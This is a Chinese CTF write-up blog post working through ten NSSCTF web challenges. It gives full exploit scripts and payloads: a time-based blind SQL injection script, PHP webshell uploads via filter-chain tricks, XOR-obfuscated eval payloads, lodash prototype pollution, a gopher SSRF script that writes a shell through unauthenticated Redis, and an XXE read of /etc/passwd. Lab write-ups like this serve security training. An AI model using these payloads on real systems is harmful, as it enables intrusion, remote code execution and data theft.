NSSCTF web刷题记录5


[HZNUCTF 2023 preliminary]ezlogin

考点:时间盲注

打开题目,在源码出得到hint
在这里插入图片描述
注入点很明显是参数username,然后将上传的数据先逆序再base64解码;过滤了关键字,但是我们可以大小写绕过

脚本如下(列名有点多可以爆出三列就暂停去爆数据,flag在列password)

import requests
import datetime
import string
import base64

url="http://node5.anna.nssctf.cn:28339/"
s=string.ascii_letters+string.digits
DB_name=''
TB_name=''
CL_name=''
flag=''

#爆库名
print("开始爆破库名")
for i in range(1,50):
    low = 32
    high = 130
    mid = (high + low) // 2
    while (low < high):
        payload = f"1'/**/or/**/if((ascii(substr((DATABASE()),{i},1)))>{mid},sleep(2),1)#".format(i=i, mid=mid)
        payload1 = base64.b64encode(payload[::-1].encode('utf-8'))
        data={
            "username":payload1,
            "passwd":1
        }
        time1 = datetime.datetime.now()
        r = requests.post(url, data)
        time2 = datetime.datetime.now()
        time = (time2 - time1).seconds
        if time > 2:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 130):
        break
    DB_name += chr(mid)
    print('database_name为:{}'.format(DB_name))

#爆表名
print("开始爆破表名")
for i in range(1,50):
    low = 32
    high = 130
    mid = (high + low) // 2
    while (low < high):
        payload = f"1'/**/or/**/if((ascii(substr((Select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like('users')),{i},1)))>{mid},sleep(2),1)#".format(i=i, mid=mid)
        payload1 = base64.b64encode(payload[::-1].encode('utf-8'))
        data={
            "username":payload1,
            "passwd":1
        }
        time1 = datetime.datetime.now()
        r = requests.post(url, data)
        time2 = datetime.datetime.now()
        time = (time2 - time1).seconds
        if time > 2:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 130):
        break
    TB_name += chr(mid)
    print('table_name为:{}'.format(TB_name))

#爆列名
print("开始爆破列名")
for i in range(1,100):
    low = 32
    high = 130
    mid = (high + low) // 2
    while (low < high):
        payload = f"1'/**/or/**/if((ascii(substr((Select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like('user')),{i},1)))>{mid},sleep(1),1)#".format(i=i, mid=mid)
        payload1 = base64.b64encode(payload[::-1].encode('utf-8'))
        data={
            "username":payload1,
            "passwd":1
        }
        time1 = datetime.datetime.now()
        r = requests.post(url, data)
        time2 = datetime.datetime.now()
        time = (time2 - time1).seconds
        if time > 1:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 130):
        break
    CL_name += chr(mid)
    print('column_name为:{}'.format(CL_name))


#爆数据
print("开始爆破数据")
for i in range(1,100):
    low = 32
    high = 130
    mid = (high + low) // 2
    while (low < high):
        payload = f"1'/**/or/**/if((ascii(substr((Select/**/group_concat(Password)/**/from/**/users.user),{i},1)))>{mid},sleep(1),1)#".format(i=i, mid=mid)
        payload1 = base64.b64encode(payload[::-1].encode('utf-8'))
        data={
            "username":payload1,
            "passwd":1
        }
        time1 = datetime.datetime.now()
        r = requests.post(url, data)
        time2 = datetime.datetime.now()
        time = (time2 - time1).seconds
        if time > 1:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 130):
        break
    flag += chr(mid)
    print('数据为:{}'.format(flag))

得到flag
在这里插入图片描述

[MoeCTF 2021]地狱通讯

考点:ssti

源码如下

from flask import Flask, render_template, request 
from flag import flag, FLAG 
import datetime 
app = Flask(__name__) 
@app.route("/", methods=['GET', 'POST']) 
def index(): 
    f = open("app.py", "r") 
    ctx = f.read() 
    f.close() 
    f1ag = request.args.get('f1ag') or "" 
    exp = request.args.get('exp') or "" 
    flAg = FLAG(f1ag) 
    message = "Your flag is {0}" + exp 
    if exp == "": 
        return ctx 
    else: 
        return message.format(flAg) 
   
if __name__ == "__main__": app.run() 

接收参数f1ag和exp,然后参数f1ag值经过FLAG函数处理,定义message字符串拼接,如果exp不为空,调用format方法

这里如果我们给f1ag赋值,那么不会被执行,只会被当字符串拼接进去,所以我们尝试让exp执行命令,由于message前面给了占位符0,那么我们只能让exp也具有该占位符,因此就能在执行return message.format(flAg)时让f1Ag中的值代入进去,然后找到他的所属类,然后找到FLAG中的全局变量flag。

payload如下

?f1ag=0&exp={0.__class__.__init__.__globals__} 

注意必须是0,与前面的占位符一样

得到flag
在这里插入图片描述

[NSSRound#7 Team]0o0

考点:

打开题目,有hint
在这里插入图片描述
访问一下

 <?php
header('get:S0uRc3');
error_reporting(0);
set_include_path('Round7/');
// include: Nss
// include: level2
if (isset($_GET['0o0'])) {
    $O0O = file_get_contents($_GET['0o0'],1);
    if (strpos($O0O, 'Round7') === 0) {
        die('NO!!!!!   Permission denied!'); 
    } else if (strpos($O0O, 'Xy1on') === 0) {
        echo $O0O;
        die();
    } else {
        die("Nothing!!!");
    }
}
if(isset($_GET['S0uRc3'])){
    highlight_file(__FILE__);
    $O0O = file_get_contents('CTF',1);
    echo $O0O;
}else{
    echo "Nothing here";
    
}
?> Xy1on: Do you love Tanji!
V me 50 Watch the bath video
Some words of the author: 5Li65LqG6YG/5YWN6KKr5LiA5oqK5qKt77yBCjRTNExWWkYyUTNVWURQN0ZRV0c2UklWTDRTNElCWlVLUkxUS0ZMUFBYU0FRVVJKVUlJNEVFUUtGR1JCRUNPQldJVTRUUU1LQ0laQ1RLT0JWSEJDRUtPQ0JHSkFVRVJKVUlJNERRTUNGR1k0RUNPQ0JJVTNFQ01TQklSQ1VNUVNESEFZVEFRSlRHUTJUR01aVUdSQlRLTlJWSUUyRE1NWlNHVVlUR01aVkdVMlRTTkJVR1VZREdOWlVHWTJUQ05KWEdRM1RHTlJWR0kyRFNOSldHUkJUR05CVkdNWlRJTkJaR1FaREtRSlZHVTJFRU5KU0dSQlRLTkJVSUkyRE1OQ0RHVVlES01CVkhBMlRHTkJSR1VZVEtOSlVJVTJFRU1aU0dRNFRHTkpWR0kyVElOQ0NHVTNUS01aVUhBMkVJTkNFR01aREtOUlZHVTJURU1aVEdRMkRJTlpWR1kyVEVOQlhHVVpUS01aVUlFMlRNTkNER1EzRElOUlZHVTJFSU5DRkdSQkRJUkJVSVkyVE1OS0JHVTJESVFSVkdRMkRJTkNCR1JBVEtNSlRHSTJUT01aV0dNWlRJUVJVSVEyRE9OS0JHUTNUSU5CVUdVMkVLTktCR1UzRElRSlZHSTJUS05KVkdRWlRJUkpVSUUyVEtOQ0JHUkNER01SVkdRMkVNTkNGR01aVEtRSlVIRTJEU01aVEdVMkRJUlJUR1kyRUVOQlRHUTNUR05CVEdNMlRRTkpUR1VZVEtNWlVHUTJFTU5KV0dVWVRLTkpWR01aVEVNWlRHUTNESVJCVkdZMlRDTkpYR1VZVEtOQlRHTTJERU5DREdRM0RLUUpVR00yVE9OS0JHUkJUS05KVUlZMlVDTVpTR1UzRElSUlZHTTJFR05KVUdSQVRHTkpWRzQyVE9OSlRHTVpUSVFSVkdBMkVJTkpXR1VZVEtOWlZHRTJUSU1aVEdSQVRJUlJWSUVaVEVOQlZHTTNESVFSVklFMlRTTkNGR1EzRElNSlZIQTJES01aVEdRMkRJT0pVSU0yRE1OSldHUTNUR01SVEdVMkRHTktCR1JCVElNUlZHNDJUUU5CWkdVM1RJUVJWSEUyRUtOSlNHVTRUSU5SVkdVMlVDTkpVR1JCVElSUlZHWTJES05KVkdRNFRHTVJUR00yVE1OQ0JHUkNUS09KVUc0MlRHTkpYR1JCREtPSlVJRTJVQ05KWEdRMkRJUlJVSVVaVEdOS0JHUTRUSU9KVEdNMlRJTkNHR00zRElRUlVHTTJEU05DRkdNWkRLTlJVSVkyRUdNWlRHVVpESU5SVUlVMkVHTkpWR00zREdOSlVJRTJFR05DRUdVM0RLTVJWRzQyVEdOQ0NHTVpUSU5SVUlRMkVLTkpWR1UyRElNSlVJVTJFR01aU0dSQ0RJUkJWR1kyVE9NWlNHVVpUSU5CVUlJMkVDTVpWR1VZVEtOWlVHNFpURU5DREdRM0RJUVJVSVFaVEdOSlhHUkRES05CVEdJMlRJTkJYR1UzREtOSlZHVVpUTU5KV0dNWkRLTVJVSVkyRENOSldHVVpUS05aVUlZMkRJTkJZR1JCRElOSlRHWTJUSU1aU0dRWlRLT0JVRzQyVE9OSlhHUVpUR05SVUlVMkVLTkNFR1EzREdOQlZHNDJETU5DQ0dRWkRLUUpVR1kyVFNOSlJHUTJES05CVkhFMkRNTkNHR1VZRElOSlZIQTJER05DR0dSRERLTVJVSUUyRUtNWlhHUVpESVFaVkdNMlVDTktCR1JCRElPQlVIRTJUUU1aV0dSQ0RHTlJWR1EyREVNWlVHUkNER05CVkdNWlRJTkpaR1U0REdNUlVJUTJUUU5KWEdVWVRJTlJVSVkyRUdOQlZHTTJESU9KVEdRMlRPTkNCR1U0VEtNUlZJRTJFSU5KVUdVWkRJTUpUSVFaVUlNMkVHTkNER1JCVElRWUVDUkpXSUkyVFFOS0ZHWkJES09CVklVMlRRUUtCR0JDVElRUllIQVlFS05aWUdKQkRTUkpVSUk0RFNRMkZIQkFUS1FTR0dCQVVLTkpaSU5BVFFSSllJSkREU09LRkhFNERPT0NESVUyRUVPSllJSkNUU09KWElJMkFWWlZWUVhUTExCUEZSS1FPSk9FQTQ2QkxUWkZZVFRVS0xQWT0=

提示有level2,然后Xy1on要在0的位置,运用工具(注意后面跟空格)
在这里插入图片描述把读取的文件改为level2
在这里插入图片描述

访问,源码如下

 <?php
error_reporting(0);
highlight_file(__FILE__);

$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
    if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
        if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
            if (isset($_GET['nss_ctfer.vip'])) {
                if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
                    $nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
                    if ($nss && $nSscTF === "NSSRound7") {
                        if (isset($_POST['submit'])) {
                            $file_name = urldecode($_FILES['file']['name']);
                            $path = $_FILES['file']['tmp_name'];
                            if(strpos($file_name, ".png") == false){
                                die("NoO0P00oO0! Png! pNg! pnG!");
                            }
                            $content = file_get_contents($path);
                            $real_content = '<?php die("Round7 do you like");'. $content . '?>';
                            $real_name = fopen($file_name, "w");
                            fwrite($real_name, $real_content);
                            fclose($real_name);
                            echo "OoO0o0hhh.";
                        } else {
                            die("NoO0oO0oO0!");
                        }
                    } else {
                        die("N0o0o0oO0o!");
                    }
                } else {
                    die("NoOo00O0o0!");
                }
            } else {
                die("Noo0oO0oOo!");
            }
        } else {
            die("NO0o0oO0oO!");
        }
    } else {
        die("No0o0o000O!");
    }
} else {
    die("NO0o0o0o0o!");
} NO0o0o0o0o!

首先是各自绕过,第一层数组绕过,NSSCTF[]=1&NSSCTF[]=2,第二层是in_array()第三个参数没有直接strict导致可以绕过,NsScTF=1q,第三层是伪协议NsScTf=data://text/plain,Welcome to Round7!!!,第四层nss_ctfer.vip注意变为nss[ctfer.vip(因为PHP匹配的时候会自动将[.变成下划线,有且仅变一次),第五层是intval()绕过,字符串使用科学计数法,会默认是前面的数字,比如’1e1’转化变成1,NSScTf=114514e1,第五层直接nSScTF=1,$nSscTF=NSSRound7。这里的关键是文件上传,通过strops()检测文件的名称是否存在png,直接改增加png即可绕过,关键是会将<?php die(“Round7 do you like”);写入到文件中,所以就导致了传入的虽然是php文件,但是会终止。这里也是使用上面同一个tips,使用过滤器使用文件,如php://filter/write=convert.base64-decode/resource=aiwin.png.php,让写入内容进行base64解码,这里要使用URL编码,绕过/resource=aiwin.png.php作为文件名,然后在文件写入的内容中构造base64,使得<?php die(“Round7 do you like”);被不正常解码,造成死亡绕过。

这里我们可以测试一下,如果我们的一句话木马直接拼上去,会发现解码为乱码
在这里插入图片描述解决办法是添加字符,使得后面解码完为正确的代码
在这里插入图片描述

import requests
from base64 import b64encode
import re
 
def get_flag(URL):
    url = f"{URL}/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1%00&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=true&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7"
    data = {'submit':1}
 
    payload = str(b64encode(b"<?php system('cat /home/f1ag');?>")) #修改为自己想要执行的命令
    payload = re.findall(r"b'(.*?)'",payload)[0]
 
    file1 = {'file': ('shell.png.php', f"aaa{payload}")}
    file2 = {'file': ('%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%65%6E%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%73%68%65%6C%6C%2E%70%6E%67%2E%70%68%70', f"aaa{payload}")}
 
    requests.post(url,data=data,files=file1)
    requests.post(url,files=file2,data=data)
    nssctf_text3 = requests.post(f'{URL}/shell.png.php').text
    print(nssctf_text3)
 
if __name__ == "__main__":
    get_flag("http://node5.anna.nssctf.cn:28308")

[ISITDTU 2019]EasyPHP

考点:取反方式异或%FF

源码如下

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

第一个正则匹配ASCII 字符从空字符到空格之间的任意字符,匹配数字0-9,匹配$、&、.、,、|、{、[、_、d、e、f、g、o、p、s ,匹配ASCII 字符的删除字符,不区分大小写;第二个if语句首先转换成小写,计算使用过的不同字符,得小于13

我们看到没有过滤^,尝试一下phpinfo
与%ff异或脚本如下

<?php

#用不可见字符异或
$l = "";
$r = "";
//$argv = str_split("_GET");
$argv = str_split("phpinfo");
for($i=0;$i<count($argv);$i++)
{
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);
        if($k == $argv[$i]){
            if($j<16){
                $l .= "%ff";
                $r .= "%0" . dechex($j);
                continue;
            }
            $l .= "%ff";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
echo "(".$l."^".$r.")";
?>

成功执行
在这里插入图片描述
我们尝试构造print_r(scandir('.'));,发现提示过长
在这里插入图片描述
本地测试下,长度为16
在这里插入图片描述
那么我们要将长度减小到14以下
思路就是将利用重复出现过的来通过异或构造出其中3个字符
我选择pnritd去构造ntr,脚本如下

str = "pscadi"
target = "ntr"

for i in target:
    for a in str:
        for b in str:
            for c in str:
                if ord(a) ^ ord(b) ^ ord(c) == ord(i):
                    print("{} = {}^{}^{}".format(i,a,b,c))

运行脚本,每个都取第一个

n = c^d^i
t = s^c^d
r = p^c^a

原payload

?_=(%ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d)((%ff%ff%ff%ff%ff%ff%ff^%8c%9c%9e%91%9b%96%8d)((%ff^%d1)));

将对应的字母用异或表示,若无则%ff
print_r()如下

((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8f%96%9c%8c%a0%8f)^(%ff%9c%ff%9b%9c%ff%9c)^(%ff%9e%ff%96%9b%ff%9e))()

scandir()如下

((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%9c%9b%96%8f)^(%ff%ff%ff%9b%ff%ff%9c)^(%ff%ff%ff%96%ff%ff%9e))()

本地测试下成功
在这里插入图片描述
成功读取
在这里插入图片描述
那么我们用readfile和end读取
构造readfile(end(scandir('.')));

?_=((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

得到flag
在这里插入图片描述

[极客大挑战 2020]greatphp

考点:原生类反序列化
源码如下

 <?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

首先进行MD5和sha1的强等于,然后过滤一些关键字包括单引号,括号。如果为真则命令执行

我们用数组即可实现MD5和sha1的绕过,但是eval函数无法接收参数为数组,这里我们利用原生类Error去构造payload,因为Error类可以让这两个对象本身不同,而内部可以将异常或错误对象触发_tostring()方法,使得绕过MD5和sha1判断;然后就是绕过正则匹配,我们用文件包含include "/flag",由于过滤了引号,取反绕过

exp如下

<?php
class SYCLOVER {
	public $syc;
	public $lover;
}

$payload="?><?=include ~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($payload,1);$b=new Error($payload,2);  //注意同一行
$c=new SYCLOVER();
$c->syc=$a;
$c->lover=$b;
echo urlencode(serialize($c));
?>

得到flag
在这里插入图片描述

[安洵杯 2020]Validator

考点:Validator原型链污染

打开题目,直接扫目录
在这里插入图片描述访问./run.sh,可以看到有app.js
在这里插入图片描述

我们直接访问,得到源码
(这里为什么可以直接访问./app.js得到,我的理解是因为中间件为js,由于express-static配置错误,导致可以任意查看静态文件)

const express = require('express')
const express_static = require('express-static')
const fs = require('fs')
const path = require('path')

const app = express()
const port = 9000

app.use(express.json())
app.use(express.urlencoded({
    extended: true
}))

let info = []

const {
    body,
    validationResult
} = require('express-validator')

middlewares = [
    body('*').trim(),
    body('password').isLength({ min: 6 }),
]

app.use(middlewares)

readFile = function (filename) {
	var data = fs.readFileSync(filename)
	return data.toString()
}

app.post("/login", (req, res) => {
    console.log(req.body)
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
        return res.status(400).json({ errors: errors.array() });
    }

    if (req.body.password == "D0g3_Yes!!!"){
        console.log(info.system_open)
        if (info.system_open == "yes"){
            const flag = readFile("/flag")
            return res.status(200).send(flag)
        }else{
            return res.status(400).send("The login is successful, but the system is under test and not open...")
        }
    }else{
        return res.status(400).send("Login Fail, Password Wrong!")
    }
})

app.get("/", (req, res) => {
    const login_html = readFile(path.join(__dirname, "login.html"))
    return res.status(200).send(login_html)
})

app.use(express_static("./"))

app.listen(port, () => {
    console.log(`server listening on ${port}`)
})

分析一下,重点看/login路由,if语句判断密码是否为D0g3_Yes!!!,然后继续判断info的属性system_open是否为yes,如果为真则读取flag

我们试试直接用正确密码访问,发现并没有什么收获
在这里插入图片描述
我们的思路很简单,就是利用原型链污染属性system_open为yes,但是目前并不知道漏洞
我们查看下package.json,发现是validator
在这里插入图片描述
validator简介

在Node.js中,"validator"是一个常用的数据验证库,用于验证和处理不同类型的数据。它提供了一组方便的函数和方法,用于验证字符串、数字、日期、URL、电子邮件等常见数据类型的有效性。

express-validator中lodash在版本4.17.17以下存在原型链污染漏洞
payload如下

{
	"a": {"__proto__": {"test": "testvalue"}}, "a\"].__proto__[\"test": 222
}

我们的目标是污染system_open为yes,稍微修改下payload

{
    "password":"D0g3_Yes!!!",
    "a": {"__proto__": {"system_open": "yes"}}, "a\"].__proto__[\"system_open": "yes"
}

postman发送json数据
在这里插入图片描述
污染成功后,再次用D0g3_Yes!!!登录
得到flag
在这里插入图片描述

[GKCTF 2020]ez三剑客-ezweb

考点:ssrf、gopher协议、redis服务未授权访问漏洞

打开题目,得到hint
在这里插入图片描述传参后发现给了内网ip地址(也就是说本题不是打127.0.0.1)
在这里插入图片描述

我们尝试用file协议读取源代码,结果发现被过滤了
用以下两种方式绕过,获取源码

file:/var/www/html/index.php
file: ///var/www/html/index.php  //中间有空格

源码如下

<?php
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}

if(isset($_GET['submit'])){
		$url = $_GET['url'];
		//echo $url."\n";
		if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
		{
			//var_dump($match);
			die('别这样');
		}
		curl($url);
}
if(isset($_GET['secret'])){
	system('ifconfig');
}
?>

过滤了file协议,127.0.0.1等一些关键字,但是我们可以用gopher协议去打
但是我们要知道具体能被利用的ip服务和端口
使用bp去爆破,探测主机的存活
在这里插入图片描述
得到ip为172.2.0.147
(为什么不是146可以试试发现不行,然后扫出来其他一些主机存在文件上传和登录框没啥用)

在这里插入图片描述
由于我们不知道端口,猜测为redis服务,然后默认端口为6379
利用redis服务未授权访问漏洞在根目录创建shell.php

脚本如下

from urllib.parse import quote
protocol="gopher://"
ip="172.2.0.147"      #运行有redis的主机ip
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(shell.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd
 
if __name__=="__main__":
	for x in cmd:
		payload += quote(redis_format(x))
	print(payload)

然后再将payload复制到输入框,成功写入后
访问,得到flag

?url=172.2.0.147/shell.php&submit=提交

[安洵杯 2019]easy_serialize_php

考点:变量覆盖
源码

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

分析一下

  1. 首先接收GET参数,接着函数filter进行关键字过滤并替换为空
  2. 然后创建变量$_session,给键名赋值,然后extract函数对POST传参可以变量覆盖,接收参数GET参数img_path来对$_session的img赋值
  3. 最后反序列化,根据f值进行不同功能

思路很简单,就是要将img的值赋值为读取的文件,利用file_get_contents去读取

我们先访问phpinfo信息搜集,知道flag的位置
在这里插入图片描述
然后就是构造payload
由于源码中已经将img的值固定了,所以我们要借助字符串逃逸来修改它的值
本地测试下

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img'] = 'Z3Vlc3RfaW1nLnBuZw==';

echo serialize($_SESSION);

序列化结果为

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

目标字符串

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

注:ZDBnM19mMWFnLnBocA==为d0g3_f1ag.php编码后的
我们要把后面的挤掉,使得img的值能够读取flag
注意function字符串长度为42,也就是a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

我们发现字符串替换是减少的,那么就是字符串减少型逃逸。由于存在变量覆盖,我们对user键名的值也可控,我们把目标字符串的";s:8:"function";s:42:"a写到user里,然后第二个键名img反序列化就可以实现读取flag,但是反序列化会出问题数目不匹配,我们可以在后面随便添加一个就行。

写到user的字符串长度为24,需要八个php
解释:八个php被替换为空时,user往后找长度为24,于是";s:8:"function";s:42:"a成功写入
具体执行过程如下

a:3:{s:4:"user";s:24:"phpphpphpphpphpphpphpphp";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:4:"test";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

被替换后

a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:4:"test";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

注:为什么要加test是因为本来就三个键名,手动添加一个防止报错

所以最终payload如下

_SESSION[user]=phpphpphpphpphpphpphpphp&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:4:"test";}

在这里插入图片描述修改一下img的值,由于编码完长度不变,直接粘贴进去就行
在这里插入图片描述

[UUCTF 2022 新生赛]backdoor

考点:ida反编译so文件、tonyenc加密

扫出来存在源码泄露
在这里插入图片描述
尝试打开backdoor.php发现为二进制文件
我们尝试ida反编译so文件,发现是tonyenc加密
在这里插入图片描述直接网上搜解密脚本,不过要找到密钥和头部
在这里插入图片描述
脚本如下

import base64
header=[
    0x66, 0x88, 0xFF, 0x4F,
    0x68, 0x86, 0x00, 0x56,
    0x11, 0x61, 0x16, 0x18,
]
key=[
    0x9F, 0x58, 0x54, 0x00,
    0x58, 0x9F, 0xFF, 0x23,
    0x8E, 0xFE, 0xEA, 0xFA,
    0xA6, 0x35, 0xF3, 0xC6,
]

def decode(data,len):
    p =0
    for i in range(0,len):
        if (i & 1):
            p += key[p] + i;
            p %= 16;
            t = key[p];
            data[i] = ~data[i]^t;
            if data[i] < 0:
                data[i]=data[i]+256
                decode = "".join([chr(c) for c in data])
                return decode
encodefile=open('backdoor.php',"rb")
base64_encodestr=base64.b64encode(encodefile.read())
convert=[c for c in base64.b64decode(base64_encodestr)]
del convert[0:len(header)]
print(str(decode(convert,len(convert))))

运行完发现乱码(有师傅知道的教教)
看其他师傅wp解密完得到<?php @eval($_POST['1af4d803']);?>
得到flag
在这里插入图片描述

[NCTF 2019]True XML cookbook

考点:xxe、内网探测

打开题目,随便传然后bp抓包
在这里插入图片描述
可以看到xxe格式,我们直接添加payload,然后再实体引用

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE users [
	<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
	<username>
	&xxe;
	</username>
	<password>
	1
	</password>
</user>

发现可以读取在这里插入图片描述尝试伪协议读取源码,发现没什么用
不过还有个方向,xxe可以内网探测存活的主机
发现两个存活的主机ip
在这里插入图片描述
读取172.2.8.184发现不行,我们爆破探测下c段
在172.2.8.182找到flag(不过提交不了)
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_rev1ve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值